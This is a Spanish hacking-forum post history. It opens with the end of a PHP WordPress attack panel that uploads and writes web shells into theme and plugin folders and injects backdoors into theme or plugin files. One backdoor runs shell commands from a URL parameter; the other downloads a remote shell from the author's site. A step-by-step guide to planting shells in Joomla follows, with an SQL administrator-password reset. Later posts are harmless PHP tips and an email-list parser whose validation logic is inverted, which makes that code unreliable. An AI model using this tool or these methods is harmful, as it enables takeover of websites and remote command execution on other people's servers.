									<div id="info">Insert New Index Content (WP Main Index) [fopen]:</div>
									<div id="data">
										<div class="clear"><label>Content:</label><textarea name="new_content" style="text-align: left;font-size:13px;font-family:'Courier New', Courier, monospace" rows="5"><?php echo $indexContent; ?></textarea><br /></div>
										<div class="clear"><label></label><input type="submit" name="change_index" value="Change Index" /></div>
									</div>
								<?php
								endif;
							?>
							<?php
							break;
							case 5:
								$showForm = true;
								$next = false;
								if(isset($_POST['change_index'])):
									$wpUrl = getInfo($_SESSION['dbPref'], 'siteurl');
									if(substr($wpUrl, -1) == '/')
										$wpUrl = substr($wpUrl, 0, strlen($wpUrl) - 1);
									$wpUser = $_POST['admin_user'];
									$wpPass = $_POST['admin_pass'];
									$wpCont = stripslashes($_POST['new_content']);
									if(!checkLogin($wpUrl, $wpUser, $wpPass)):
										echo '<div class="error">Can\'t login with: '.$wpUser.'::'.$wpPass.'</div>';
									else:
										$source = sourceIndex($wpUrl, getInfo($_SESSION['dbPref'], 'template'));
										$data = @preg_match("/<input type=\"hidden\" id=\"_wpnonce\" name=\"_wpnonce\" value=\"(.*)\" \/></", $source, $wpnonce);
										$next = true;
									endif;
									if($next === false):
									elseif($next === true && empty($wpnonce[1])):
										echo '<div class="error">Can\'t get wp nonce</div>';
									elseif(!changeIndex($wpUrl, $wpCont, getInfo($_SESSION['dbPref'], 'template'), $wpnonce[1])):
										echo '<div class="error">Can\'t update index file</div>';
									else:
										$showForm = false;
										echo '<div class="success">Index updated correctly</div>';
										echo '<META HTTP-EQUIV="refresh" CONTENT="2; url=?">';
									endif;
								endif;
								if($showForm):
							?>
									<div id="info" style="margin-bottom: 5px;">Actual Theme: <a target="_blank" href="<?php echo getInfo($_SESSION['dbPref'], 'siteurl'); ?>/wp-content/themes/<?php echo getInfo($_SESSION['dbPref'], 'template'); ?>"><?php echo getInfo($_SESSION['dbPref'], 'template'); ?></a><br /></div>
									<div id="info">Insert New Index Content (WP Actual Theme Index) [cURL]:</div>
									<div id="data">
										<div class="clear"><label>User:</label><input type="text" id="new_user" name="admin_user" value="Admin2" />< Insert Admin User<br /></div>
										<div class="clear"><label>Pass:</label><input type="text" id="new_pass" name="admin_pass" value="new_pass" />< Insert Admin Password<br /></div>
										<div class="clear"><label>Content:</label><textarea name="new_content" style="text-align: left;font-size:13px;font-family:'Courier New', Courier, monospace" rows="5"></textarea><br /></div>
										<div class="clear"><label></label><input type="submit" name="change_index" value="Change Index" /></div>
									</div>
								<?php
								endif;
								?>
							<?php
							break;
							case 6:
								$showForm = true;
								$theme = getInfo($_SESSION['dbPref'], 'template');
								if(isset($_POST['change_index'])):
									$wpCont = stripslashes($_POST['new_content']);
									$themeContent = @fopen('./wp-content/themes/'.$theme.'/index.php', 'w+');
									if(!$themeContent):
										echo '<div class="error">Can\'t open/found index.php file</div>';
									else:
										@fwrite($themeContent, $wpCont);
										@fclose($themeContent);
										$showForm = false;
										echo '<div class="success">Index updated correctly</div>';
										echo '<META HTTP-EQUIV="refresh" CONTENT="2; url=?">';
									endif;
								endif;
								if($showForm):
									$themeContent = @file_get_contents('./wp-content/themes/'.$theme.'/index.php');
							?>
									<div id="info" style="margin-bottom: 5px;">Actual Theme: <a target="_blank" href="<?php echo getInfo($_SESSION['dbPref'], 'siteurl'); ?>/wp-content/themes/<?php echo getInfo($_SESSION['dbPref'], 'template'); ?>"><?php echo getInfo($_SESSION['dbPref'], 'template'); ?></a><br /></div>
									<div id="info">Insert New Index Content (WP Actual Theme Index) [fopen]:</div>
									<div id="data">
										<div class="clear"><label>Content:</label><textarea name="new_content" style="text-align: left;font-size:13px;font-family:'Courier New', Courier, monospace" rows="5"><?php echo $themeContent; ?></textarea><br /></div>
										<div class="clear"><label></label><input type="submit" name="change_index" value="Change Index" /></div>
									</div>
							<?php
								endif;
							break;
							case 7:
								$showForm = true;
								if(isset($_POST['upload_shell'])):
									$uploadShell = basename($_FILES['file']['name']);
									if(!move_uploaded_file($_FILES['file']['tmp_name'], $uploadShell)):
										echo '<div class="error">Can\'t Upload Shell</div>';
									else:
										$showForm = false;
										echo '<div class="success">Shell Uploaded Correctly: <a href="'.getInfo($_SESSION['dbPref'], 'siteurl').'/'.$uploadShell.'" target="_blank">'.$uploadShell.'</a></div>';
									endif;
								endif;
								if($showForm):
							?>
								<div id="info">Upload Shell To This Path:</div>
								<div id="data">
									<div class="clear"><label>File:</label><input type="file" name="file" style="border: 1px dashed #00CF00;"/>
									<input type="submit" name="upload_shell" value="Upload Shell" style="margin-left: -15px;"/></div>
								</div>
							<?php
								endif;
							break;
							case 8:
								$showForm = true;
								if(isset($_POST['make_shell'])):
									$shellTheme = $_POST['shell_theme'];
									$shellName = $_POST['shell_name'];
									$shellCont = stripslashes($_POST['shell_content']);
									$makeShell = @fopen('./wp-content/themes/'.$shellTheme.'/'.$shellName, 'w+');
									if(!$makeShell):
										echo '<div class="error">Can\'t Make Shell In '.$shellTheme.'</div>';
									else:
										$showForm = false;
										@fwrite($makeShell, $shellCont);
										@fclose($makeShell);
										echo '<div class="success">Shell Maked Correctly: <a href="'.getInfo($_SESSION['dbPref'], 'siteurl').'/wp-content/themes/'.$shellTheme.'/'.$shellName.'" target="_blank">'.$shellName.'</a></div>';
									endif;
								endif;
								if($showForm):
							?>
								<div id="info" style="margin-bottom: 5px;">Actual Theme: <a target="_blank" href="<?php echo getInfo($_SESSION['dbPref'], 'siteurl'); ?>/wp-content/themes/<?php echo getInfo($_SESSION['dbPref'], 'template'); ?>"><?php echo getInfo($_SESSION['dbPref'], 'template'); ?></a><br /></div>
								<div id="info">Make Shell To Themes Path [fopen]:</div>
								<div id="data">
									<div class="clear"><label>Theme:</label><select name="shell_theme"><?php echo getThemes(); ?></select>< Select Theme<br /></div>
									<div class="clear"><label>Name:</label><input type="text" id="shell_name" name="shell_name" value="shell.php" />< Insert Shell Name<br /></div>
									<div class="clear"><label>Content:</label><textarea name="shell_content" style="text-align: left;font-size:13px;font-family:'Courier New', Courier, monospace" rows="5"><?php echo $themeContent; ?></textarea><br /></div>
									<div class="clear"><label></label><input type="submit" name="make_shell" value="Make Shell" /></div>
								</div>
							<?php
								endif;
							break;
							case 9:
								$showForm = true;
								if(isset($_POST['make_shell'])):
									$shellPlugin = $_POST['shell_plugin'];
									$shellName = $_POST['shell_name'];
									$shellCont = stripslashes($_POST['shell_content']);
									$makeShell = @fopen('./wp-content/plugins/'.$shellPlugin.'/'.$shellName, 'w+');
									if(!$makeShell):
										echo '<div class="error">Can\'t Make Shell In '.$shellPlugin.'</div>';
									else:
										$showForm = false;
										@fwrite($makeShell, $shellCont);
										@fclose($makeShell);
										echo '<div class="success">Shell Maked Correctly: <a href="'.getInfo($_SESSION['dbPref'], 'siteurl').'/wp-content/plugins/'.$shellPlugin.'/'.$shellName.'" target="_blank">'.$shellName.'</a></div>';
									endif;
								endif;
								if($showForm):
							?>
								<div id="info" style="margin-bottom: 5px;">Active Plugins (this can be different to Plugins Path):<br /> <?php echo getInstalledPlugins(getInfo($_SESSION['dbPref'], 'siteurl'), getInfo($_SESSION['dbPref'], 'active_plugins')); ?><br /></div>
								<div id="info">Make Shell To Plugins Path [fopen]:</div>
								<div id="data">
									<div class="clear"><label>Plugin:</label><select name="shell_plugin"><?php echo getPlugins(); ?></select>< Select Plugin<br /></div>
									<div class="clear"><label>Name:</label><input type="text" id="shell_name" name="shell_name" value="shell.php" />< Insert Shell Name<br /></div>
									<div class="clear"><label>Content:</label><textarea name="shell_content" style="text-align: left;font-size:13px;font-family:'Courier New', Courier, monospace" rows="5"><?php echo $themeContent; ?></textarea><br /></div>
									<div class="clear"><label></label><input type="submit" name="make_shell" value="Make Shell" /></div>
								</div>
							<?php
								endif;
							break;
							case 10:
								$showForm = true;
								if(isset($_POST['make_backdoor'])):
									$backdoorTheme = $_POST['backdoor_theme'];
									$backdoorType = $_POST['backdoor_type'];
									$realTheme = @file_get_contents('./wp-content/themes/'.$backdoorTheme.'/index.php');
									if(strstr($realTheme, '<?php')):
										$exp = '<?php';
									elseif(strstr($realTheme, '<?')):
										$exp = '<?';
									endif;
									if($backdoorType == '1'):
										$extra = '?active=true&cmd=COMMAND';
										$backdoorCont = 'if(!empty($_GET[\'active\'])){system($_GET[\'cmd\']);exit();}';
									else:
										$extra = '?active=true&filename=SHELL.PHP&externalfile=http://xt3mp.mx/shell.txt';
										$backdoorCont = 'if(!empty($_GET[\'active\'])){$fileContent = @file_get_contents($_GET[\'externalfile\']);$file = fopen($_GET[\'filename\'], \'w+\');@fwrite($file, $fileContent);@fclose($file);echo \'<a href="\'.$_GET[\'filename\'].\'">\'.$_GET[\'filename\'].\'</a>\';exit();}';
									endif;
									$explode = explode($exp, $realTheme, 2);
									$newContent = stripslashes($exp.' '.$backdoorCont.' '.$explode[1]);
									$makeBackdoor = @fopen('./wp-content/themes/'.$backdoorTheme.'/index.php', 'w+');
									if(!$makeBackdoor):
										echo '<div class="error">Can\'t Make Backdoor In /wp-content/themes/'.$backdoorTheme.'/index.php</div>';
									else:
										$showForm = false;
										@fwrite($makeBackdoor, $newContent);
										@fclose($makeBackdoor);
										echo '<div class="success">Backdoor Maked Correctly: <br />'.getInfo($_SESSION['dbPref'], 'siteurl').'/wp-content/themes/'.$backdoorTheme.'/index.php'.$extra.'</div>';
									endif;
								endif;
								if($showForm):
							?>
								<div id="info" style="margin-bottom: 5px;">Actual Theme: <a target="_blank" href="<?php echo getInfo($_SESSION['dbPref'], 'siteurl'); ?>/wp-content/themes/<?php echo getInfo($_SESSION['dbPref'], 'template'); ?>"><?php echo getInfo($_SESSION['dbPref'], 'template'); ?></a><br /></div>
								<div id="info">Make Shell To Themes Path [fopen]:</div>
								<div id="data">
									<div class="clear"><label>Theme:</label><select name="backdoor_theme"><?php echo getThemes(); ?></select>< Select Theme<br /></div>
									<div class="clear"><label>Type:</label><select name="backdoor_type"><option value="1">system();</option><option value="2">File Downloader</option></select>< Select Backdoor Type</div>
									<div class="clear"><label></label><input type="submit" name="make_backdoor" value="Make Backdoor" /></div>
								</div>
							<?php
								endif;
							break;
							case 11:
								$showForm = true;
								if(isset($_POST['make_backdoor'])):
									$backdoorPlugin = $_POST['backdoor_plugin'];
									$backdoorType = $_POST['backdoor_type'];
									$realPlugin = @file_get_contents('./wp-content/plugins/'.$backdoorPlugin);
									if(strstr($realPlugin, '<?php')):
										$exp = '<?php';
									elseif(strstr($realPlugin, '<?')):
										$exp = '<?';
									endif;
									if($backdoorType == '1'):
										$extra = '?active=true&cmd=COMMAND';
										$backdoorCont = 'if(!empty($_GET[\'active\'])){system($_GET[\'cmd\']);exit();}';
									else:
										$extra = '?active=true&filename=SHELL.PHP&externalfile=http://xt3mp.mx/shell.txt';
										$backdoorCont = 'if(!empty($_GET[\'active\'])){$fileContent = @file_get_contents($_GET[\'externalfile\']);$file = fopen($_GET[\'filename\'], \'w+\');@fwrite($file, $fileContent);@fclose($file);echo \'<a href="\'.$_GET[\'filename\'].\'">\'.$_GET[\'filename\'].\'</a>\';exit();}';
									endif;
									$explode = explode($exp, $realPlugin, 2);
									$newContent = $exp.' '.$backdoorCont.' '.$explode[1];
									$makeBackdoor = @fopen('./wp-content/plugins/'.$backdoorPlugin, 'w+');
									if(!$makeBackdoor):
										echo '<div class="error">Can\'t Make Backdoor In /wp-content/plugins/'.$backdoorPlugin.'</div>';
									else:
										$showForm = false;
										@fwrite($makeBackdoor, $newContent);
										@fclose($makeBackdoor);
										echo '<div class="success">Backdoor Maked Correctly: <br />'.getInfo($_SESSION['dbPref'], 'siteurl').'/wp-content/plugins/'.$backdoorPlugin.$extra.'</div>';
									endif;
								endif;
								if($showForm):
							?>
								<div id="info">Make Shell To Plugins Path [fopen]:</div>
								<div id="data">
									<div class="clear"><label>Plugin:</label><select name="backdoor_plugin"><?php echo getInstalledPlugins(getInfo($_SESSION['dbPref'], 'siteurl'), getInfo($_SESSION['dbPref'], 'active_plugins'), true); ?></select>< Select Plugin (Active Plugins)<br /></div>
									<div class="clear"><label>Type:</label><select name="backdoor_type"><option value="1">system();</option><option value="2">File Downloader</option></select>< Select Backdoor Type</div>
									<div class="clear"><label></label><input type="submit" name="make_backdoor" value="Make Backdoor" /></div>
								</div>
							<?php
								endif;
							break;
							default;
								echo '<META HTTP-EQUIV="refresh" CONTENT="0; url=?">';
							?>
						<?php
						endswitch;
						?>
					</div>
				<?php
				endif;
				?>
			</fieldset>
		<?php
		endif;
		?>
	</form>
</div>
<pre style="text-align: center;margin-top: 5px">[email protected] >> http://xt3mp.mx</pre>
</body>
</html>


Más información:
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Login data:
User: Xt3mP
Pass: root

Importante:
Debes poner este script en el mismo directorio que Wordpress.

Bigs:
Si encuentras cualquier error o bug, favor de postearlo en comentarios.

Xt3mP
#68
Bugs y Exploits / Distintas formas de subir shell a Joomla
Agosto 01, 2012, 09:06:16 AM
Joomla se ha convertido de una de las plataformas más usadas en lo que a la gestión del contenido respecta, es por eso, que el subir shell en dicha plataforma ha sido o es la tarea de más de un atacante.

Analizando la plataforma, podemos observar que el subir shell a la misma es bastante sencillo, pero siempre habrá más de uno que se le dificulte ésta tarea. En ésta ocasión no nos enfocarémos tanto al como entrar al panel de administración puesto que supondré que ya tenemos el acceso a éste; si tenemos acceso al código fuente mediante symlink podemos revisar los datos de conexión a la base de datos en el archivo configuration.php:


En caso de tener los datos de conexión a la base de datos de la plataforma, y no poder desencriptar el hash del administrador, podemos ir al siguiente enláce en donde se aclara como agregar un usuario por SQL: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta, por otro lado podemos ejecutar la siguiente línea para editar la contraseña del administrador cambiando:


  • jos por el prefijo de tabla (generalmente es jos).
  • passwordHash por nuestro hash en md5.
  • adminUser por el nombre de usuario del administrador.

Código: php
UPDATE jos_users SET password="passwordHash" WHERE username="adminUser"


Una vez que estemos dentro del panel de administración tendrémos tres opciones para subir shell.

1.- Mediante la instalación de un nuevo tema: Se trata -como su nombre lo dice- de instalar un tema con la shell incluída; pero primero deberemos saber la versión de Joomla para buscar un tema compatible (No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Para saber la versión de Joomla basta con ir a la pestaña Ayuda y dar click en Información del sistema:


Después de haber descargado algún tema, agregarémos nuestra shell.php en el directorio raíz del .zip y abrirémos templateDetails.xml (según mi caso al usar el theme WoodenDock) para indicar que la shell también forma parte del tema y no la elimine al instalar el mismo. (nota: entre las etiquetas filename va el nombre del fichero, en mi caso es x.php):


Luego de tener listo el tema, irémos a la pestaña Extensiones, en el ítem instalar/desinstalar y en la subsección instalar eligirémos el tema para proceder a subirlo.


Al terminar de cargar el archivo, nos debe arrojar un mensaje de éxito por lo que es aquí cuando irémos a http://[target]/templates/nombretema/nombreshell.php en donde:


  • nombretema es el nombre de la carpeta del .zip o, en todo caso, el nombre del tema.
  • nombreshell.php es el nombre del fichero que contiene la shell (en este caso).

Y listo, con éste método obtendríamos nuestra shell en el servidor.

2.- Mediante la modificación de una plantilla ya instalada: Consiste en editar el archivo index.php de la plantilla en cuestión facilitándonos así la tarea de subir nuestro tema con su respectiva shell; ésta manera es mucho más sencilla e inclusive, es la más rápida para mí.

Irémos a la pestaña Extensiones y darémos click en el ítem Gestor de plantillas, en éste módulo darémos click en cualquiera de los temas que estén instalados llevándonos a ésta página:


En dicha página, del lado superior derecho observarémos una serie de íconos, en dichos íconos estará el que nosotros necesitamos: Editar HTML:


Nos mostrará el código fuente de index.php por lo que nosotros lo editaremos con el código de nuestra shell:


Al guardarlo nos dirigirémos a http://[target]/templates/nombretema/index.php y nos mostrará la shell.

3.-Mediante el módulo Media Manager/Gestor Multimedia: Joomla cuenta con un gestor que nos permite la subida de archivos, predeterminadamente no se permiten extensiones que pudieran perjudicar la integridad del sitio como php. Sin embargo, cuenta con una configuración global que nos permite indicar que extensiones se pueden subir, por lo que irémos a Configuración Global y editaremos las extensiones permitidas:


Al guardar la nueva configuración, irémos al gestor multimedia para subir nuestra shell, la seleccionamos y la subimos:


Para acceder a la shell basta con ir http://[target]/images/nombreshell.php:


Y así como existen estos tres métodos para subir shell a Joomla, existen muchos más, sólo es cuestión de hechar a volar la imaginación.

ByeOFF
#69
Dudas y pedidos generales / Re:Algun tutorial para hacer busquedas en la deep web?
Julio 31, 2012, 11:48:08 PM
No se porque le tienen tanto miedo a la Deep Web, es cierto que el contenido es muy gráfico dependiendo de lo que se busque, pero no hay que exagerar como algo "IMPACTANTE QUE TE PUEDE CAUSAR LA MUERTE"; va desde un simple script hasta experimentos con animales, simplemente es cuestión de acceder y buscar en No tienes permitido ver enlaces. Registrate o Entra a tu cuenta, torgle, entre otros, acá te dejo No tienes permitido ver enlaces. Registrate o Entra a tu cuenta para que te introduzcas:

eqt5g4fuenphqinx.onion
#70
Dudas y pedidos generales / Re:Ayuda concervar saltos de lineas en String
Julio 22, 2012, 05:28:05 AM
Para eso estamos.
#71
Dudas y pedidos generales / Re:Ayuda concervar saltos de lineas en String
Julio 21, 2012, 09:08:19 PM
Se trata de una función que convierte todas las nuevas líneas a br (etiqueta html para salto de línea); se llama nl2br(): No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Ejemplo:

Código: html
<textarea name="texto" rows="5" cols="100">Hola
esto
es
algo
sin importancia</textarea>


Código: php
<?php
$text = nl2br($_POST['texto']);
/*
Output:
Hola<br />
esto<br />
es<br />
algo<br />
sin importancia
*/
?>


Al momento de querer mostrar el texto en el textarea utilizas así:
Código: php
<?php
//Suponiendo que la variable $text tiene la cadena de caracteres con nueva línea
$text = 'Hola<br />
esto<br />
es<br />
algo<br />
sin importancia';
$newText = str_replace('<br />', '', $text);
?>
<textarea name="texto" rows="5" cols="100"><?php echo $newText; ?></textarea>


Quedando así de nuevo el texto con salto de línea, saludos.
#72
Dudas y pedidos generales / Re:Alguna sugerencia para bypassear la barra \ ?
Julio 21, 2012, 04:11:43 AM
La solución para los magic_quotes OFF podría ser addslashes():

Código: php
<?php
$asdf = "Jajaja webs's";
echo addslashes($asdf);
//Jajaja webs\'s
?>


Saludos.
#73
Bugs y Exploits / Re:Una noche con PrestaShop [anécdota][shell-upload]
Julio 18, 2012, 06:39:49 PM
La verdad que uno a veces se encuentra con objetivos muy, muy interesantes. Me alegro que les haya gustado.
#74
Back-end / Re:Mail Parser v1.0 – Organiza tu lista de correos
Julio 18, 2012, 06:39:31 PM
Gracias, el design es full CSS.
#75
Zona Webmaster / Re:Evitando problemas con la caché
Julio 16, 2012, 11:12:35 AM
Totalmente de acuerdo, pero al menos para mí, es una solución fíable.
#76
Bugs y Exploits / Re:Una noche con PrestaShop [anécdota][shell-upload]
Julio 16, 2012, 05:10:30 AM
Sí, generalmente la forma de subir shells a varias plataformas de éste tipo es subiendo shell en template.
#77
Zona Webmaster / Re:Evitando problemas con la caché
Julio 16, 2012, 05:10:09 AM
Generalmente los que nos dedicamos a hacer sitios webs en cantidad nos hemos visto en presencia de éste error, ojala nunca sea tu caso porque da dolores de cabeza.
#78
Zona Webmaster / Evitando problemas con la caché
Julio 16, 2012, 12:05:38 AM
¿A quién no le ha pasado que al modificar algún archivo (por ejemplo, algún archivo css) y subirlo al sitio web nuevamente, éste sigue teniendo el contenido del fichero antiguo? ¡A la mayoría!, y éste gravísimo problema 'jode-cerebros' se debe a la bendita -para algunos- caché.

Esto se debe a que, para que la carga del sitio web sea mucho más rápida, el navegador revisa si ya ha descargado el archivo en cuestión para sólo mostrarlo en vez de descargarlo nuevamente, mostrando así (válgame la redundancia) el contenido anterior en vez del actualizado con las correcciones correspondientes.

Existen varios métodos para forzar la descarga del archivo nuevamente y de ésta manera, ganarle a la caché:

1.- Manejando versiones:

Generalmente nosotros llamamos a un archivo CSS de la siguiente manera:

Código: css
<link rel="stylesheet" type="text/css" href="http://xt3mp.mx/css/plugin/style.css" />


Haciendo así, que a la primer visita del navegador, éste descarge el archivo "style.css" y en su segunda carga, al no notar cambios, en vez de descargarlo nuevamente, sólo lo cargue el contenido.

Es aquí cuando entra el primero método para evitar que la caché nos cause dolor de cabeza; manejando versiones, es decir, hará que la llamada al archivo, o bien, la url sea distinta para que el navegador lo interprete como que si se trátase de otro archivo forzando así la descarga del mismo. Esto lo haremos añadiendo un parámetro en el archivo que no sea interpretado de la siguiente forma (en éste caso la versión del script sería 2.0):

Código: css
<link rel="stylesheet" type="text/css" href="http://xt3mp.mx/css/plugin/style.css?_=2.0" />


2.- Manejando hora actual:

Es practicamente el método 1, sólo que agregando la función time() de PHP al final como parámetro en vez de la versión:

Código: css
<link rel="stylesheet" type="text/css" href="http://xt3mp.mx/css/plugin/style.css?_=<?php echo time(); ?>" />


De ésta manera, cada vez que entremos a la página cargará un archivo diferente ya que al tener otro nombre lo tomará como otro archivo, asegurandonos así que siempre se mostrará el contenido actualizado, por lo que nos quitaríamos un gran dolor de cabeza: la caché.
#79
Back-end / Mail Parser v1.0 – Organiza tu lista de correos
Julio 16, 2012, 12:03:44 AM
A veces nos encontramos con listas de correos bastantes extensas, pero ese no es el problema, sino el gran desorden de éstas; algunas tienen correos repetidos, otras correos inválidos, inclusive hasta espacios en blanco.

Para eso -y creo que para la comodidad de muchos- he creado un script en PHP el cual se encarga de organizar dichas listas de manera rápida, personalizada y sencilla.


Esta herramienta está aún en fase BETA por lo que algunos manejos de errores no están en el script; alguno de ellos puede ser, por ejemplo, que si metes datos que no son correos electrónicos, tál vez te "parsee" bien la información, pero el resto del procesamiento no será adecuado. Por el momento consta de 5 opciones:

    Remover repetidos:
        Elimina los correos inválidos, mal escritos o repetidos.
    Partir:
        Parte en listas la lista príncipal de correos; en caso de ser "Sí", en "Núm. de listas" elegir el número de listas a crear.
    Mostrar resultado:
        Muestra el resultado en dos opciones:
            Todos: Muestra los correos ordenados alfabéticamente.
            Por Dominio: Muestra los correos ordenados alfabéticamente y por dominio de correo (hotmail, yahoo, etc).

El script se puede mejorar bastante, pero es funcional:

Código: php
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Mail Parser V1 - http://xt3mp.mx</title>
<?php
class mailParserv1
{
    var $mails;
    var $realMails;
    var $nonparsedMails;
    var $correctMails;
    var $wrongMails;
    var $domainMails;
 
    public function __construct($mails)
    {
        $this->mails = $mails;
        $this->nonparsedMails = array();
        $this->correctMails = array();
        $this->wrongMails = array();
        $this->domainMails = array();
    }
 
    public function parseMails()
    {
        $eachMail = explode("\r\n", $this->mails);
        foreach($eachMail as $mail)
        {
            if(!empty($mail))
                $this->nonparsedMails[] = strtolower(trim($mail));
        }
    }
 
    public function removeRepeatmails()
    {
        foreach($this->nonparsedMails as $mail)
        {
            if(!in_array($mail, $this->correctMails) && !empty($mail) && !filter_var($mail, FILTER_VALIDATE_EMAIL))
            {
                $this->correctMails[] = $mail;
 
            }
            else
            {
                $this->wrongMails[] = $mail;
            }
        }
        return true;
    }
 
    public function checkMails()
    {
        $realMails = (empty($this->nonparsedMails)) ? $this->correctMails : $this->nonparsedMails;
        if(empty($realMails))
            return false;
        else
            return true;
    }
 
    private function domainMails()
    {
        $realMails = (empty($this->nonparsedMails)) ? $this->correctMails : $this->nonparsedMails;
        foreach($realMails as $mail)
        {
            $eachMail = explode('@', $mail);
            $this->domainMails[$eachMail[1]][] = $mail;
        }
    }
 
    private function makeWrongMailsFile()
    {
        if(!empty($this->wrongMails))
        {
            foreach($this->wrongMails as $mail)
            {
                $wrongMailsc .= $mail."\r\n";
            }
            $file = @fopen('xt3mp_badMailList.txt', 'w+');
            @fwrite($file, $wrongMailsc);
            @fclose($file);
        }
    }
 
    public function checkConfig($list, $result)
    {
        if($list == 'no' && $result == 'no')
            return false;
        else
            return true;
    }
 
    public function splitMails($parts)
    {
        $realMails = (empty($this->nonparsedMails)) ? $this->correctMails : $this->nonparsedMails;
        $totalMails = count($realMails);
        $totalParts = ceil($totalMails / $parts);
        for($i = 1; $i <= $parts; $i++)
        {
            $next = $i * $totalParts;
            $prev = ($i - 1) * $totalParts;
            for($x = $prev; $x < $next; $x++)
            {
                $newMailList .= $realMails[$x]."\r\n";
            }
            $file = @fopen('Xt3mP_mailList_'.$i.'.txt', 'w+');
            if($file)
            {
                @fwrite($file, $newMailList);
                @fclose($file);
                unset($newMailList);
                $status = true;
            }
            else
                $status = false;
        }
        $this->makeWrongMailsFile();
        return $status;
    }
 
    public function printMails($type)
    {
        $this->domainMails();
        if($type == 'all')
        {
            $realMails = (empty($this->nonparsedMails)) ? $this->correctMails : $this->nonparsedMails;
            asort($realMails);
            $textArea = '<textarea rows="10" cols="50" class="result">';
            foreach($realMails as $mail)
            {
                $textArea .= strtolower($mail)."\r\n";
            }
            $textArea .= '</textarea>';
            echo $textArea;
        }
        else
        {
            foreach($this->domainMails as $te => $domain)
            {
                asort($domain);
                $textArea .= '<textarea rows="10" cols="50" class="result">';
                foreach($domain as $mail)
                {
                    $textArea .= strtolower($mail)."\r\n";
                }
                $textArea .= '</textarea>';
            }
            echo $textArea;
        }
        return true;
    }
}
?>
<script src="http://code.jquery.com/jquery-1.7.2.min.js"></script>
<script>
$(function(){
    $("#result").change(function(){
        val = $(this).val();
        if(val == "yes"){
            $(".result").fadeIn("slow");
        }else{
            $(".result").fadeOut("slow");
        }
    })
    $("#list").change(function(){
        val = $(this).val();
        if(val == "yes"){
            $(".list").fadeIn("slow");
        }else{
            $(".list").fadeOut("slow");
        }
    })
})
</script>
<style type="text/css">
body{
    background-color: #2b2b2b;
}
div#container{
    height: auto;
    font-family: arial, 'lucida console', sans-serif;
    font-size: 12px;
    margin: 0 auto;
    text-shadow: 1px 1px 1px #000;
    width: 500px;
}
div#container fieldset{
    background-color: #444;
    border: double #000;
    color: #FFF;
    padding: 5px;
}
div#container legend{
    background-color: #222;
    border: double #000;
    color: #FFF;
    padding: 5px;
}
div#container input, div#container select, div#container textarea{
    background-color: #222;
    border: 1px solid #000;
    color: #FFF;
    padding: 5px;
    width:  74%;
}
div#container input, div#container textarea{width: 72%;}
div#container input[type=submit]{width: 100px;}
div#container input[type=submit]:hover{
    cursor: pointer;
    background-color: #444;
}
div#container textarea.result
{
    width: 98%;
}
div#container label{
    float: left;
    height: 20px;
    text-align: right;
    margin: 6px 1px 0 0;
    width: 25%;
}
div#status .error, div#status .success{
    background-color: #FF7373;
    border: 1px dashed #FF0000;
    margin-top: 5px;
    padding: 5px;
}
div#status .success{
    background-color: #49A349;
    border: 1px dashed #002E00;
}
</style>
</head>
<body>
<div id="container">
    <form action="" method="POST">
        <fieldset>
            <legend>Mail Parser v1.0 | http://xt3mp.mx > [email protected]</legend>
            <label>Remover repetidos:</label><select name="remove"><option value="yes">Sí</option><option value="no">No</option></select>
            <label>Partir:</label><select id="list" name="list"><option value="yes">Sí</option><option value="no">No</option></select>
            <div class="list">
                <label>Núm. de listas:</label><input type="text" name="parts" value="0" size="5" />
            </div>
            <label>Mostrar resultado:</label><select id="result" name="result"><option value="no">No</option><option value="yes">Sí</option></select>
            <div class="result" style="display: none;">
                <label>Formato:</label><select name="format"><option value="all">Todos</option><option value="domain">Por dominio</option></select>
            </div>
            <label>Lista:</label><textarea name="mailList" rows="10" cols="50"></textarea><br />
            <label> </label><input type="submit" name="mailParserv1" value="Parse Mails" />
            <div id="status">
                <?php
                $class = 'error';
                if(isset($_POST['mailParserv1']))
                {
                    $mailParser = new mailParserv1($_POST['mailList']);
                    $mailParser->parseMails();
                    if(!$mailParser->checkConfig($_POST['list'], $_POST['result']))
                    {
                        echo '<div class="'.$class.'">Error: 0x01 > Bad config</div>';
                    }
                    elseif($_POST['remove'] == 'yes' && !$mailParser->removeRepeatmails())
                    {
                        echo '<div class="'.$class.'">Error: 0x02 > Can\'t remove repeated mails</div>';
                    }
                    elseif($_POST['result'] == 'yes' && $_POST['format'] == 'all' && !$mailParser->checkMails())
                    {
                        echo '<div class="'.$class.'">Error: 0x03 > Empty var: correct mails</div>';
                    }
                    elseif($_POST['list'] == 'yes' && ($_POST['parts'] == 0 or !is_numeric($_POST['parts']) or !$mailParser->splitMails($_POST['parts'])))
                    {
                        echo '<div class="'.$class.'">Error: 0x04 > Can\'t make lists</div>';
                    }
                    else{
                        $class = 'success';
                        $next = true;
                        echo '<div class="'.$class.'">Success: 0x01 > Parsed Mails Successful</div>';
                    }
                    if($next)
                    {
                        $class = 'error';
                        if($_POST['result'] == 'yes' && $_POST['format'] == 'all' && !$mailParser->printMails('all'))
                        {
                            echo '<div class="'.$class.'">Error: 0x05 > Can\'t show mails > Format: All</div>';
                        }
                        elseif($_POST['result'] == 'yes'  && $_POST['format'] == 'domain' && !$mailParser->printMails('domains'))
                        {
                            echo '<div class="'.$class.'">Error: 0x05 > Can\'t show mails > Format: Domains</div>';
                        }
                        elseif($_POST['result'] == 'yes')
                        {
                            $class = 'success';
                            echo '<div class="'.$class.'">Success: 0x02 > Mails Showed Successful</div>';
                        }
                    }
                }
                ?>
            </div>
        </legend>
    </form>
</div>
</body>
</html>


Algunas de las cosas que omití al agregarle son: mostrar el número de correos ingresados (basta con hacer un echo count($eachMail) en la función parseMails() de la clase), mostrar cantidad de correos por lista (en caso de que se decidan crear), etc.

Los errores que maneje son los siguientes:

    Errors
        0×01: No se puede elegir NO partir y NO mostrar resultados; al menos una de las dos debe ser sí, si no no tendría caso usar el script.
        0×02: Error interno al intentar remover y validar los correos ingresados (en caso de opción).
        0×03:Error interno al intentar recuperar los correos ingresados.
        0×04:Error interno al intentar crear las listas (en caso de opción).
        0×05: Error interno al intentar mostrar los correos (en caso de opción).
    Success
        0×01: Correos procesados correctamente.
        0×02: Correos mostrados correctamente (en caso de opción).

